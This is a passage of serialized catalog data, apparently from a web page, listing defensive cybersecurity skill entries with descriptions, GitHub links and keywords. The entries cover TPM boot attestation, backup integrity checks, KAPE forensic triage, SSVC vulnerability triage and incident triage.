attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[142],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[144,132,145,146,46,147,45,43,148,149,150,39,151,152,153,154,155,156,157,158],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":160,"name":161,"nameZh":6,"description":162,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":163,"categories":164,"keywords":167,"publishedAt":47},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[165,166],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[153,168,169,170,31,45,171,172,148,173,174,175,176,177,178,179,180,181,182,183],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":185,"name":186,"nameZh":6,"description":187,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":188,"categories":189,"keywords":191,"publishedAt":47},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[190],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[192,193,194,45,195,196,197,198,199,200,201,202,203,204,205,206,39,207,208,209],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":211,"name":212,"nameZh":6,"description":213,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":214,"categories":215,"keywords":217,"publishedAt":47},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[216],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[28,218,219,45,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235],"framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":237,"name":238,"nameZh":6,"description":239,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":240,"categories":241,"keywords":243,"publishedAt":47},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[242],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[46,244,45,245,246,247,248,249,250,251,252,179,253,180,254,255,256,257,258,259],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]